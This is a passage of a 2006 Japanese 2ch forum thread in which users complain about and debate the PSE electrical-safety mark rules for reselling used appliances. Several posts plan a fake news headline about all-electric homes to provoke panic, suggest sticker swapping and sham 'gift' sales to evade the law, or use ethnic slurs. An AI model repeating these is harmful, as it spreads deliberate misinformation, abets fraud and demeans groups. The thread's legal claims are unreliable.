　産業省に確認してみます。情報ありがとうございます」

ということだった。
効果はあるかわからないが、古物商の申請先の警察にも、
このことを連絡すれば何か進展があるかも。

910 ：名無しさん＠６周年：2006/02/13(月) 22:59:43 ID:ehXHj/qO0

>>901
２chはプロ市民減少に一役買ってるんだよな

911 ：名無しさん＠６周年：2006/02/13(月) 22:59:52 ID:52sK0hoy0

>>884
・・・・・('A`)

912 ：名無しさん＠６周年：2006/02/13(月) 22:59:53 ID:/5MtdoiD0

東京新聞が続編掲載してくれないかねぇ

913 ：名無しさん＠６周年：2006/02/13(月) 23:00:04 ID:AYpgqAlT0

Q.PSEマークのない家電についてはリサイクルショップが敬遠するなどして、引き取ってもらえない
というケースが今後引越しシーズンを迎え発生することが想定されるが、それについて何か対策は用意されているのか？
A（経産官僚）.ねーよ。だけど逆らうと事業者とみなすぞ、オラオラ！

Q.事業者、あるいは事業者とみなされた個人の場合はどうなるのか？
A（経産官僚）.販売したらﾀｲｰﾎだ、アフォ！氏ね！

Q.販売してはいけないのであれば、どのように処分すれば良いのか？
A（経産官僚）.知るかボケ！カス！

Q.捨てろと言うことか？
A（経産官僚）.知るかボケ！カス！

Q.では仮に、事業者が「従来ならば充分価値ある商品になりえたPSEマークのない製品」を
ゴミとして処分することにした場合、その損失に対する特別な措置、税制上の優遇措置はあるか？
または検討されているということはあるか？
A（経産官僚）.ねーよ！検討するつもりもネーヨ＞池沼

Q.今後、PSEマークのない製品が大量にゴミとして捨てられる可能性があるが、
それについてはどのように考えているのか？
A（経産官僚）.知るかボケ！カス！俺ら高級官僚に逆らうのかゴルァ！

914 ：名無しさん＠６周年：2006/02/13(月) 23:00:07 ID:AZIQiAdwO

おとなしく中古家電の売買をやめれば良いだけなのに
馬鹿が騒いでるな

915 ：名無しさん＠６周年：2006/02/13(月) 23:00:08 ID:nHjXbcRW0

自販機は？

916 ：名無しさん＠６周年：2006/02/13(月) 23:00:11 ID:D2wYj/jC0

>>711
ｗ

917 ：名無しさん＠６周年：2006/02/13(月) 23:00:18 ID:oElIoglh0

最初はリサイクル業界だけかと思ってたけど
間接的なのを含めたらどうも複数の業界が連鎖的に被害受けそうだな

918 ：まとめの431 ◆RHl2lE26v6 ：2006/02/13(月) 23:00:18 ID:YY2ec9Kc0

>>903
WebPageを作ったことがある方なら難しくないと思います。
または勉強したい意思があればスグです。
ブログベースでもいいですし

919 ：名無しさん＠６周年：2006/02/13(月) 23:00:32 ID:zz+xpqbf0

>>907
逆にそこが狙いだと思う。
まぁ案的にはグレーなパチンコを放置していることを皮肉った冗談なのだが。

920 ：名無しさん＠６周年：2006/02/13(月) 23:00:38 ID:l05c746M0

>>894

そなのよねぇ、この話をすると、平成５年に始まった「NOx法」で対象のディーゼル、ガソリン車が使えなくなったが
財産権の侵害だと騒がなかったのでそのままふつーに終わった。

故に、平成１５年に始まった「NOｘ・PM法」もそのまま通ったのもあるし。

ようするにお国は個人的な財産なんか認めていないも同じ？、気がしますねぇ。

921 ：名無しさん＠６周年：2006/02/13(月) 23:00:41 ID:dGlULOf+0

>915
アウト

922 ：名無しさん＠６周年：2006/02/13(月) 23:00:49 ID:gYfT+8tx0

住宅は不問なんだが、問題が大きくなって騒ぎになって欲しいので、


オール電化のマンション買った奴、売るとき悲惨だなｗｗｗ


と、煽っておこう。

923 ：名無しさん＠６周年：2006/02/13(月) 23:00:49 ID:3+hcaD/b0

平賀源内エレキテルは直流電源装置じゃないか？
エンジンで発電する発電機は含まれるらしいぞ。

924 ：名無しさん＠６周年：2006/02/13(月) 23:01:04 ID:O+skdh6r0

>>905
まちがえた、
電気ストーブがどうして規制対象外なんだろ。

925 ：名無しさん＠６周年：2006/02/13(月) 23:01:24 ID:s5DyC7ri0

要するにPSE対応のACアダプタで動くように改造してやれば良いんだな。

926 ：名無しさん＠６周年：2006/02/13(月) 23:01:38 ID:bEYspxFgO

さぁ、悪質な違法業者を壊滅させる為に通報しまくるか。

927 ：名無しさん＠６周年：2006/02/13(月) 23:01:45 ID:uZefBNtK0

>>922
その話乗ったｗｗ

928 ：名無しさん＠６周年：2006/02/13(月) 23:02:09 ID:/5MtdoiD0

>>920
いや　騒いだんだよ
でも業界的に団結力の弱い業界だったからな

929 ：名無しさん＠６周年：2006/02/13(月) 23:02:24 ID:2TZD9kvXO

>>898
あすこは明らかに業者間で取引してるような物が多い。
同じ銘柄のビデオデッキとかがたくさんあるし。
むしろ一般からの買い取りのほうが少ない気がする。

930 ：名無しさん＠６周年：2006/02/13(月) 23:02:31 ID:IjDCJ2Jx0

>>887
メーカーを訴えて勝った事例はあるが。（>>774の頒布権不存在確認訴訟。）
国を訴える事が出来るかどうか、だよなぁ。

931 ：名無しさん＠６周年：2006/02/13(月) 23:02:31 ID:lBP8bBUb0

>>805
そのあたりなら別段痛くないだろ。
一旦返品→メーカー側で改修、PSE取得済みの新型番として再度発送で終了。
PCリサイクル法施行の時期にも有った流れだ。
むしろ、現金系の箱陳列店舗や、ネット店舗が吊るだろうな。

932 ：名無しさん＠６周年：2006/02/13(月) 23:03:11 ID:QAfTPSWm0 ?

>>918
ファイルアップするだけで出来るなら可能なんだが、、、

933 ：名無しさん＠６周年：2006/02/13(月) 23:03:19 ID:FLZpbrcP0

闇市が出来るな
はやめにベータデッキ買っとかないと

934 ：名無しさん＠６周年：2006/02/13(月) 23:03:27 ID:AYpgqAlT0

>>924
？

■電熱器具■
70 電気足温器 ５年
71 電気スリッパ ５年
72 電気ひざ掛け ５年
73 電気座ぶとん ５年
74 電気カーペット ５年
75 電気敷布 ５年
76 電気毛布 ５年
77 電気ふとん ５年
78 電気あんか ５年
79 電気いすカバー ５年
80 電気採暖いす ５年
81 電気こたつ ５年
82 電気ストーブ ５年←★★★★
83 電気火ばち ５年
84 その他の採暖用電熱器具 ５年
85 電気トースター


ところで、「83 電気火ばち」って何だろ？興味深い…

935 ：名無しさん＠６周年：2006/02/13(月) 23:03:35 ID:zz+xpqbf0

まずは買い取りを規制してから販売を規制すべきだったのではないだろうか？？

まぁ販売業者もこのことを事前に把握していれば売れ残りそうなものは去年のうちに
買い取りストップしてるだろうけど。

936 ：名無しさん＠６周年：2006/02/13(月) 23:03:47 ID:iAZzCvtm0

>>805
YAMAGIWAはリビナな。
はやくセールやらねぇかなぁ。

937 ：名無しさん＠６周年：2006/02/13(月) 23:03:52 ID:j/qgM7jZ0

ＧＢＡは悲惨だな…
ＤＳがあるにもかかわらず最新ソフトをリリースして、それで法律に引っかかるっていうのはねぇ…

938 ：名無しさん＠６周年：2006/02/13(月) 23:03:54 ID:kR+Q7xnl0

>>920
違法車両が走ったときの社会的影響とは比べ物にならんだろ
新品はわかるが、法律施工以前の２００１年前の製品まで対象なんて無茶苦茶ｗｗ

939 ：名無しさん＠６周年：2006/02/13(月) 23:04:10 ID:esOvgnlv0

工場の機械とかは対象外なのか
対象にされたら大企業も発狂するだろうなｗ

940 ：名無しさん＠６周年：2006/02/13(月) 23:04:30 ID:2wbelQVf0

家電業界にしてみりゃ中古流通品が減って新品需要がたかまって
ウハウハかもって考えなのかもしれないけど、

買取してくれねえんなら金ないし場所もないし、買うのやめよ

絶対こうなる。

941 ：名無しさん＠６周年：2006/02/13(月) 23:04:41 ID:/5MtdoiD0

>>939
対象だよ

942 ：名無しさん ：2006/02/13(月) 23:04:38 ID:lctsO2Bv0

お役所はロクな事しねぇな

943 ：名無しさん＠６周年：2006/02/13(月) 23:05:08 ID:ZZwzOeIu0

>>931
ドン・キホーテが潰れるってことか？

944 ：名無しさん＠６周年：2006/02/13(月) 23:05:17 ID:O+skdh6r0

>>934
見間違えますたｽﾏｿ。

945 ：名無しさん＠６周年：2006/02/13(月) 23:05:22 ID:gYfT+8tx0

>>927
ﾄﾝｸｽｗ
誰かが間違って「住宅の設備はどうなの？」って書き込んだら、

オール電化とか(ﾉ∀`) ｱﾁｬｰだよ。
PSE付きの設備に全部交換しないと、マンションも住宅も、物件売ったり貸したりできないよ。

946 ：名無しさん＠６周年：2006/02/13(月) 23:05:54 ID:FLZpbrcP0

>>940
ＰＳＥマーク付きは買い取るでしょ
これから作る全ての家電にシール貼ればＯＫ

947 ：名無しさん＠６周年：2006/02/13(月) 23:06:16 ID:AelqytRX0

じゃあＰＳＥマークついてないパチンコの台はどうなるの？

948 ：名無しさん＠６周年：2006/02/13(月) 23:06:30 ID:/5MtdoiD0

いや　ダイソーやドンキのものでも割とPSEマーク付いてる商品ある

なにしろメーカーの自主検査＆検査記録保存だけでいいんだ
新規に物作る方としてはチョロイもんなんだよ

中古はもう市場に流れてしまってるものだから大変なんだよ

949 ：名無しさん＠６周年：2006/02/13(月) 23:06:44 ID:uZefBNtK0

>>922
こんなんでどうだ？


【社会】オール電化住宅の資産価値急落。PSE法猶予期間終了で売買禁止に
http://news18.2ch.net/test/read.cgi/news7/1139724920/

★電気用品安全法の猶予期間終了　認証なし中古オール家電住宅　４月から売買禁止

・2001年施行の電気用品安全法の5年間の猶予期間が終了し、
　検査機関の認証を受けていない電気製品の販売などが禁止されるため、
　オール電化住宅にも重大な影響が出そうだ

950 ：名無しさん＠６周年：2006/02/13(月) 23:06:52 ID:7Msk1RRE0

これは、ＤＡＴへの死刑宣告ですか？？

951 ：名無しさん＠６周年：2006/02/13(月) 23:07:36 ID:sdJ/c432O

もう国会襲撃しないと改正出来んかもな…
少しでもまともな議員が居て反対してほしいんだけどさ…

952 ：名無しさん＠６周年：2006/02/13(月) 23:07:38 ID:52sK0hoy0

>>950
死刑執行の様な気がしないでもない

953 ：名無しさん＠６周年：2006/02/13(月) 23:07:39 ID:i+TD2u7q0

ID:AYpgqAlT0は確かに詳しいなｗ

954 ：名無しさん＠６周年：2006/02/13(月) 23:07:46 ID:iAZzCvtm0

>>950
すでに宣告されてますが？

955 ：名無しさん＠６周年：2006/02/13(月) 23:07:54 ID:s5DyC7ri0

＞電気いすカバー ５年

電気椅子のカバーか・・・？とか思ってしまった

956 ：まとめの431 ◆RHl2lE26v6 ：2006/02/13(月) 23:07:57 ID:YY2ec9Kc0

>>932
そうですね。
ページを保存してそれをUPして、あとは別にトップページを作っていただければ
OKだと思います。
たまに更新が必要ですが

957 ：名無しさん＠６周年：2006/02/13(月) 23:08:01 ID:dGlULOf+0

>947
パチ台とかゲーセンゲーム機も駄目みたい
もっとも5年たてば寿命か陳腐化で中古でも売れるものじゃないんじゃないか？

958 ：名無しさん＠６周年：2006/02/13(月) 23:08:09 ID:l05c746M0

>>938
もちろんそですよぉ。
でもね、買ったときは合法な車だったんですよ？、あたりまえですが。
新車のみならまだしも、「使用課程車」にまで適用したのに、あまり騒がなかったから、
今回みたいな事も平気でやるんじゃないっすかねぇ〜？？

なのに中古家電が「社会的影響」が大きく危ないとは思えないのにそれを禁止した今回の法律はどなの？
って感じですね、てことね＾＾

959 ：名無しさん＠６周年：2006/02/13(月) 23:08:22 ID:SRStSsZY0

>>934
＞ところで、「83 電気火ばち」って何だろ？興味深い…

本来ならば炭が座っているところをニクロム線に置き換えているだけですハイ

960 ：名無しさん＠６周年：2006/02/13(月) 23:08:25 ID:esOvgnlv0

>>941
まじかよ
じゃあPSEシールがなかったら資産としても計上できなかったり
抵当権とか質権の担保価値もなくなっちゃうの？

961 ：名無しさん＠６周年：2006/02/13(月) 23:08:30 ID:D2wYj/jC0

このマーク見てると今岡思い出すのはオレだけか

962 ：名無しさん＠６周年：2006/02/13(月) 23:08:31 ID:YgE56+lR0

>>947
パチンコ店自体外国扱いなんじゃね？w

963 ：名無しさん ：2006/02/13(月) 23:08:32 ID:lctsO2Bv0

テレビのデジタル化といい国民不在が多すぎる
ちゃんと意見聞け

964 ：名無しさん＠６周年：2006/02/13(月) 23:08:47 ID:/5MtdoiD0

>>954
煽るためにネガティブなネタについて一生懸命勉強してきた　って感じではあるけどね

またはマジに規制側の中の人か

965 ：名無しさん＠６周年：2006/02/13(月) 23:08:57 ID:YJSAfHVW0

>>947
当然、違法だね。
でも法律なんて全然尊重しない
人たちが扱ってるから守られるかどうか・・・

966 ：名無しさん＠６周年：2006/02/13(月) 23:09:15 ID:pnIMq7nx0

>>957
ゲーセン筐体に限ってはそうじゃない。

中身さえ替えれば別のゲームになるからね。

967 ：名無しさん＠６周年：2006/02/13(月) 23:09:20 ID:3EQdiAlB0

どっかに書いてあったけど
「５万円の超高級ドライバー！オマケで○○を無料でつけます」
でいいじゃん。

968 ：名無しさん＠６周年：2006/02/13(月) 23:09:34 ID:9vj7pTNu0

>>815
そんなの誰も聞きたいと思わないから

969 ：名無しさん＠６周年：2006/02/13(月) 23:09:48 ID:fMUgwuTs0

ジャンクとしてなら売れるんだよ。
つまり製品として補償しないならよい。
補償一切なし、買い手の自己責任とすれば全く問題ない。

970 ：名無しさん＠６周年：2006/02/13(月) 23:09:50 ID:F3ysGA57O

マスコミは何やってんだボケ

971 ：名無しさん＠６周年：2006/02/13(月) 23:09:51 ID:/5MtdoiD0

>>960
それはわからない　でも事業として売買できないものの対象であることは確か

972 ：名無しさん＠６周年：2006/02/13(月) 23:09:56 ID:gYfT+8tx0

>>949
やり過ぎだろ、それｗ
けど、今ならアッサリ釣れるなｗ

973 ：名無しさん＠６周年：2006/02/13(月) 23:10:00 ID:2wbelQVf0

ん、
ところで、中古車なんかはどうなるの？
車なんてモーターやらライト類やらスピーカーとか電気機器の塊じゃん。
ＰＳＥマークのない現行車は価値無しになるの？

974 ：名無しさん＠６周年：2006/02/13(月) 23:10:08 ID:AelqytRX0

これってゴミが増えて環境破壊が酷くないか？

975 ：名無しさん＠６周年：2006/02/13(月) 23:10:08 ID:6Lm4QqV70

>>952
今の内にDATテープ買っとくか。
CDより音いいから。

976 ：名無しさん＠６周年：2006/02/13(月) 23:10:10 ID:wMMX0Ppg0

>>949のIDがｳｾﾞｰ

977 ：名無しさん＠６周年：2006/02/13(月) 23:10:15 ID:l05c746M0

>>967　

そ　れ　だ　！

978 ：名無しさん＠６周年：2006/02/13(月) 23:10:18 ID:j/qgM7jZ0

>>966
さすがはチョソシステムだな。

979 ：名無しさん＠６周年：2006/02/13(月) 23:10:24 ID:nHjXbcRW0

ビルの壁についてる巨大テレビも？

980 ：名無しさん＠６周年：2006/02/13(月) 23:10:27 ID:Xcp6c3sX0

すでに付いてるシールを張り替えて売るって事もアリっぽいな

981 ：名無しさん＠６周年：2006/02/13(月) 23:10:32 ID:IjDCJ2Jx0

PSEマークの無い40万のギターアンプの横に飴玉一個置いて、
その飴玉を40万で買ってもらい、40万のギターアンプは客に
そのままプレゼントすればよい。

これで解決！

982 ：名無しさん＠６周年：2006/02/13(月) 23:10:44 ID:/5MtdoiD0

>>969
だめ

983 ：名無しさん＠６周年：2006/02/13(月) 23:10:45 ID:KW8w5wHP0

まぁ、多少不便になるようだが、特亜産のパーツが全てチェックされる
体制を作る意味では良い法律だな。

中古売買に限って言えばかなりウザイが。

984 ：名無しさん＠６周年：2006/02/13(月) 23:10:49 ID:p9/Q1zz70

>>957
パチ・スロの台はゲーセンとかで５年前のものも結構あるよ

985 ：名無しさん＠６周年：2006/02/13(月) 23:10:48 ID:67MKJEyr0

>>968
じゃあ、刑事コロンボのテーマｗ

986 ：名無しさん＠６周年：2006/02/13(月) 23:10:50 ID:wOkJu/W50

　発　狂
＼(^o^)／

987 ：名無しさん＠６周年：2006/02/13(月) 23:11:01 ID:slhCJUT90

>>973
100VのACのコンセント使ってないから関係ないと思う。
逆にそういうの付いてるキャンピングカーとか高級車は危ないかもしれない。

988 ：名無しさん＠６周年：2006/02/13(月) 23:11:16 ID:QAfTPSWm0 ?

>>956
ｽﾏｿ。放置できるものかと思ってたが、現行スレの更新etc
とかあるんですもんね。俺には無理です。申し訳ないです。

989 ：名無しさん＠６周年：2006/02/13(月) 23:11:21 ID:FLZpbrcP0

>>969
そうなのか？ちがうだろ

990 ：名無しさん＠６周年：2006/02/13(月) 23:11:23 ID:HFytpnXb0

>>663
次はアナログＴＶですなｗ

991 ：名無しさん＠６周年：2006/02/13(月) 23:11:38 ID:ZZwzOeIu0

>>983
チェックなんかされないんだってば・・・
お金とって許可するだけ。

992 ：名無しさん＠６周年：2006/02/13(月) 23:11:56 ID:/5MtdoiD0

>>991
パーツはそうじゃないものも多い

993 ：名無しさん＠６周年：2006/02/13(月) 23:12:01 ID:pnIMq7nx0

ねぇねぇ、古い電気自動車買っちゃった人はどうなんの？

994 ：名無しさん＠６周年：2006/02/13(月) 23:12:09 ID:04Nk/eCu0

経済産業省と電気用品安全法届出等窓口数カ所に電話してきた　んで、わかった事は

・事業を行うモノは2006/04/01からはPSEマークがついてないヤツは新品/中古とも販売しては駄目
　第四章　販売等の制限（第二十七条・第二十八条）というヤツですな

　んじゃ、事業ではない個人はいーの？と聞いたらこれが凄く曖昧　事業とは継続・反復して販売する
　モノを指すので余りやり過ぎると事業と見なされるとの事。んで『じゃ個人と事業の判断基準はなーに？』
　と聞いたら『特に決まっていません』との回答。試しに『月に１、２台オーディオ製品を売るのは大丈夫？』と
　聞いたら『それは事業と見なされます』とか言って来た(オイオイ、さっき基準がねーとか言っただろーが
　大体月に１，２台ってマニアのヤツなら十分考えられる台数だぞ！！）

　他の窓口でも大体同じ答え。継続・反復しなければ個人での販売はOKみたいなニュアンスで話してた（まぁ
　基準が全然ハッキリしないんだけどね・・・・・・・)

995 ：初スレ濁し ◆NdXA4pMuL2 ：2006/02/13(月) 23:12:16 ID:CDGxgDCN0

>>932>>956
乙です。
ここは流れが速いので、適宜こちらもご利用下さい。

電気用品安全法（PSE法）反対運動支援総合スレ
http://aa5.2ch.net/test/read.cgi/nanmin/1139517307/l50

996 ：名無しさん＠６周年：2006/02/13(月) 23:12:20 ID:rUCFmtnI0

>>958
ディーゼルの時は、施行されてすぐにニュースになった。
なので猶予期間も有効だったし、後付けで煤煙処理装置をつけることも出来た。
対象はほとんどが商用車だから、値段以外に古いモノを買う必要もなかった。

今回はそのどれも当てはまらない。

997 ：名無しさん＠６周年：2006/02/13(月) 23:12:22 ID:/5MtdoiD0

しかしもうそろそろ7スレ目ですか　早いねぇ

998 ：名無しさん＠６周年：2006/02/13(月) 23:12:36 ID:NE9m224SO

つまり政府は電化製品を使わない究極のエコライフを推奨してるんだよ。

999 ：名無しさん＠６周年：2006/02/13(月) 23:12:36 ID:V9CtRFaN0

危険度の高い韓国製や中国製の、不正輸入だけに限って
販売が出来なくするだけで良いのに、

案の大元の考えの押し付けと、あっち系の圧力で、
こんな土台の危ういモノが、平然と施行されて来てしまったと、

1000 ：名無しさん＠６周年：2006/02/13(月) 23:12:37 ID:TNVukPPl0

PSEマークが日本だけのものなら、海外製品輸入販売禁止って事？

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